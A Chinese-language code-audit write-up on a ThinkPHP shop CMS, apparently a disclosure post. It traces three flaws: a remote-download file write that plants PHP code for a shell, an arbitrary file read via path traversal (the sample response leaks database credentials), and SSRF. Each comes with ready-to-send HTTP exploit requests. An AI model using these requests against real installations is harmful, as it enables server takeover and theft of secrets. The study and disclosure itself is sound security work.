商城 cms 审计 | php代码审计
en0th 技术文章 5597浏览 · 2022-03-09 15:32

0x00 前言

学习php代码审计的前提是需要熟悉 php 的语法;对Model(数据模型)、Controller(业务逻辑)、View(视图)类似的模式有了解;对SQL 预编译、一些危险函数有了解。我曾花了一个月时间学习 php 语法、创建 thinkphp 站点有所了解,所以在 githb 上找了一个站点作为练手。以下问题均已提交 Github issue。

代码审计可以分为两种手段:黑白盒。我们可以搭建站点后通过 AWVS 等扫描工具进行漏扫。也可以通过寻找危险函数来寻找那些可以获取权限的漏洞。这里个站点使用了一个比较小型的 waf,在我进行漏扫后没有发现什么漏洞。所以我直接采用了寻找危险函数可控点来发现严重的漏洞。

0x01 环境说明

Apache 2.4.46

MySQL 5.7.34

PHP 7.4.21

ThinkPHP 5.0.24

0x02 漏洞挖掘 | 远程文件上传 Getshell

1.发现危险函数

通过全局搜索 fopen 这个打开文件的函数,发现了 api 下面存在一个 path 用变量来控制,极有肯能存在问题。

双击后可以发现是一个 download_img 的函数,其中 urlpath 变量是可控的。

这里直接使用 curl 访问了我们提供的 url 并且 path 也没有做任何过滤。直接读文件写到指定目录。

直接构造路近请求但是提示 token 错误,下一步我们需要获得token

2.获取token

思路一、伪造 token

token 获取的方式一般是通过登陆,不过我想知道 token 的构造看看尝试能不能直接伪造一段 token

apiLogin.php 里发现登陆的入口

  1. 这里发现它使用 this 进行调用 getLogic 类内公开函数,往上找发现这个函数返回了一个新的 UserLogic 类对象。
  2. 通过调用这个返回的对象 login 函数才能进一步知道执行了什么。
  3. 再往上看发现 UserLogic 不是这个 class Login 的,而是继承 Common 父类。

common 里发现可以发现 UserLogc.php 里的 login 函数

  1. 往下看可以找到生成 token 的代码
  2. 主体是这个生成的,这里使用了 logic('Token') 去获取类,我们跟进去就可以找到处理 Token 的文件。

跟进 logic 函数可以发现这里执行了两个步骤:

  1. 一个是拼接文件名,class 变量中使用传入的 name 变量进行拼接,我们拿到刚刚的 'Token' 可以推出变量为:\app\common\logic\TokenLogic
  2. 直接通过 new 来生成 TokenLogic 对象

找到 TokenLogic.php 文件,进一步跟踪到 getToken 函数

往下看发现了 token 的构造是 $type-$user_id-microtime 其中 microtime 是获取的时间戳。

再往上看,有一个 checkToken 函数用于校验。model 是数据模型了,这里的意思是直接通过数据库查询传递的 token 是否匹配。这就导致即使我们伪造了 token 但是不在数据库那就不能通过。

思路二、间接获取 token

看源码可以知道,一定是要登陆才能调用到 getToken 。可以通过注册登陆的方式来获取,但是如果关闭了注册功能、注册功能失效,我们就没法获取 token 了。有没有不需要有账号密码即可获取 token 的方式?

我们继续来看登陆功能的 Login.php 发现提供了一种不需要账号密码就可以登陆的方式。

进一步跟进 wxLogin 函数

  1. 折叠函数里包含了输入内容的校验,大概意思是用户不存在可以创建一个新的,这里我们可以不用管。
  2. 通过了校验之后会生成新的 token

我们直接构造数据包,填入需要的字段即可直接拿到生成的 token

3.漏洞复现

1.获取 token

文件上传的接口需要 access_token ,我们可以通过下面这个接口获取

POST /api/login/wx_login HTTP/1.1
Host: nbnbk:8888
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close

openid=1&unionid=1&sex=1&head_img=1&nickname=1

可以在返回包中发现 token 已经生成

2.在 vps 中启动 http 服务

echo '<?php phpinfo();' > index.php
python -m http.server 8099

3.文件上传

POST /api/User/download_img HTTP/1.1
Host: nbnbk:8888
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
Connection: close

access_token=87b5fd1230df78dad5a62924426a9a6d&url=http://127.0.0.1:8099/index.php&path=info.php

这里的 access_token 就是上面获取的 token,url 是文件地址,path 是文件名

返回 200 表示成功,我们直接访问 http://nbnbk:8888/info.php 可以看到已经写入文件并能成功解析。如果有权限问题,可以考虑上传到 uploads 目录也可以执行。

0x03 漏洞挖掘 | 任意文件读取

1.漏洞分析

通过全局搜索危险函数 file_get_contents 可以找到一处 api 目录下的文件,这意味着我们可以构造请求。

查看代码我们可以知道,这里没有任何的防御。file_get_contents 函数的参数是可控的。

这里将文件转成 base64 并通过 chunk_split 对数据进行了分割,这里没有其他参数,只是把换行进行了转码,格式为 \r\n

2.漏洞复现

POST /api/Index/getFileBinary HTTP/1.1
Host: nbnbk:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

url=../application/database.php

通过修改 url 参数来读取文件,来看返回数据。

HTTP/1.1 200 OK
Date: Fri, 04 Mar 2022 03:39:37 GMT
Server: Apache/2.4.46 (Unix) mod_fastcgi/mod_fastcgi-SNAP-0910052141 PHP/7.4.21 OpenSSL/1.0.2u mod_wsgi/3.5 Python/2.7.13
X-Powered-By: PHP/7.4.21
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST
Access-Control-Allow-Headers: x-requested-with,content-type,x-access-token,x-access-appid
Content-Length: 2784
Connection: close
Content-Type: text/html; charset=UTF-8

{"code":0,"msg":"操作成功","data":"PD9waHAKLy8gKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gfCBUaGlua1BIUCBbIFdFIENBTiBETyBJVCBKVVNU\r\nIFRISU5LIF0KLy8gKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gfCBDb3B5cmlnaHQgKGMpIDIwMDZ+MjAxNiBo\r\ndHRwOi8vdGhpbmtwaHAuY24gQWxsIHJpZ2h0cyByZXNlcnZlZC4KLy8gKy0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0K\r\nLy8gfCBMaWNlbnNlZCAoIGh0dHA6Ly93d3cuYXBhY2hlLm9yZy9saWNlbnNlcy9MSUNFTlNFLTIu\r\nMCApCi8vICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tCi8vIHwgQXV0aG9yOiBsaXUyMXN0IDxsaXUyMXN0QGdtYWls\r\nLmNvbT4KLy8gKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCi8vIOaVsOaNruW6k+mFjee9ruaWh+S7tgoKcmV0dXJu\r\nIFsKICAgIC8vIOaVsOaNruW6k+exu+WeiwogICAgJ3R5cGUnICAgICAgICAgICA9PiAnbXlzcWwn\r\nLAogICAgLy8g5pyN5Yqh5Zmo5Zyw5Z2ACiAgICAnaG9zdG5hbWUnICAgICAgID0+ICcxMjcuMC4w\r\nLjEnLAogICAgLy8g5pWw5o2u5bqT5ZCNCiAgICAnZGF0YWJhc2UnICAgICAgID0+ICduYm5iaycs\r\nCiAgICAvLyDnlKjmiLflkI0KICAgICd1c2VybmFtZScgICAgICAgPT4gJ3Jvb3QnLAogICAgLy8g\r\n5a+G56CBCiAgICAncGFzc3dvcmQnICAgICAgID0+ICdwYXNzQCExMjMnLAogICAgLy8g56uv5Y+j\r\nCiAgICAnaG9zdHBvcnQnICAgICAgID0+ICc4ODg5JywKICAgIC8vIOi\/nuaOpWRzbgogICAgJ2Rz\r\nbicgICAgICAgICAgICA9PiAnJywKICAgIC8vIOaVsOaNruW6k+i\/nuaOpeWPguaVsAogICAgJ3Bh\r\ncmFtcycgICAgICAgICA9PiBbXSwKICAgIC8vIOaVsOaNruW6k+e8lueggem7mOiupOmHh+eUqHV0\r\nZjgKICAgICdjaGFyc2V0JyAgICAgICAgPT4gJ3V0ZjgnLAogICAgLy8g5pWw5o2u5bqT6KGo5YmN\r\n57yACiAgICAncHJlZml4JyAgICAgICAgID0+ICdmbF8nLAogICAgLy8g5pWw5o2u5bqT6LCD6K+V\r\n5qih5byPCiAgICAnZGVidWcnICAgICAgICAgID0+IGZhbHNlLAogICAgLy8g5pWw5o2u5bqT6YOo\r\n572y5pa55byPOjAg6ZuG5Lit5byPKOWNleS4gOacjeWKoeWZqCksMSDliIbluIPlvI8o5Li75LuO\r\n5pyN5Yqh5ZmoKQogICAgJ2RlcGxveScgICAgICAgICA9PiAwLAogICAgLy8g5pWw5o2u5bqT6K+7\r\n5YaZ5piv5ZCm5YiG56a7IOS4u+S7juW8j+acieaViAogICAgJ3J3X3NlcGFyYXRlJyAgICA9PiBm\r\nYWxzZSwKICAgIC8vIOivu+WGmeWIhuemu+WQjiDkuLvmnI3liqHlmajmlbDph48KICAgICdtYXN0\r\nZXJfbnVtJyAgICAgPT4gMSwKICAgIC8vIOaMh+WumuS7juacjeWKoeWZqOW6j+WPtwogICAgJ3Ns\r\nYXZlX25vJyAgICAgICA9PiAnJywKICAgIC8vIOaYr+WQpuS4peagvOajgOafpeWtl+auteaYr+WQ\r\npuWtmOWcqAogICAgJ2ZpZWxkc19zdHJpY3QnICA9PiB0cnVlLAogICAgLy8g5pWw5o2u6ZuG6L+U\r\n5Zue57G75Z6LIGFycmF5IOaVsOe7hCBjb2xsZWN0aW9uIENvbGxlY3Rpb27lr7nosaEKICAgICdy\r\nZXN1bHRzZXRfdHlwZScgPT4gJ2FycmF5JywKICAgIC8vIOaYr+WQpuiHquWKqOWGmeWFpeaXtumX\r\ntOaIs+Wtl+autQogICAgJ2F1dG9fdGltZXN0YW1wJyA9PiBmYWxzZSwKICAgIC8vIOaYr+WQpumc\r\ngOimgei\/m+ihjFNRTOaAp+iDveWIhuaekAogICAgJ3NxbF9leHBsYWluJyAgICA9PiBmYWxzZSwK\r\nICAgIC8v5Y+W5raI5YmN5Y+w6Ieq5Yqo5qC85byP5YyWCiAgICAnZGF0ZXRpbWVfZm9ybWF0Jz0+\r\nIGZhbHNlLApdOwo=\r\n"}

文件信息在 data 字段中,是 base64 编码的格式,但其中包含了大量的 \r\n 导致我们没法直接解码。我们可以通过 js 去将所有 \r\n 删掉。

  1. 打开 Google Chrome 游览器

  2. 打开一个控制台

  3. 输入以下代码
a = "$data string"
a.replaceAll('\r\n', '')

演示将上面代码进行转化

将转化后的数据进行 base64 转码 我使用的是 Google Chrome 插件 FeHelper

该漏洞还可以成为有回显的 SSRF

我在和站点同一服务器下搭建了一个 phpweb 服务,其中首页是输出一段文字。

通过接口访问可以获得内网服务信息。

0x04 漏洞挖掘 | SSRF 漏洞

1.漏洞分析

通过直接搜索 curl_exec 函数,发现一个可控的 curl url 参数。

具体看一下函数,发现是做远程上传文件的功能,既然 url 可控,那就可以做 ssrf

构造一下数据包,其中 file 要求 array 的形式 file[tmp_name]=1

这里发送请求之后提示500,但是服务器的请求已经发送了。

2.漏洞复现

POST /api/Image/curl_upload_image HTTP/1.1
Host: nbnbk:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

url=http://127.0.0.1:8088&file[tmp_name]=1&file[type]=1&file[name]=1

替换 url 来进行 SSRF 攻击,该漏洞没有回显。发送请求后可以看到服务器已经向外请求了。

总结

这里的代码审计我并没有过多关注逻辑漏洞的问题,反而更加关注能直接获取主机权限的漏洞。目的其实很明确,找到可以构造的输入点,对输入点的绕过,执行我们想要执行的危险函数拿到我们想要的数据。

"一切存在用户输入的地方都有可能存在漏洞"。

2 条评论
某人
表情
可输入 255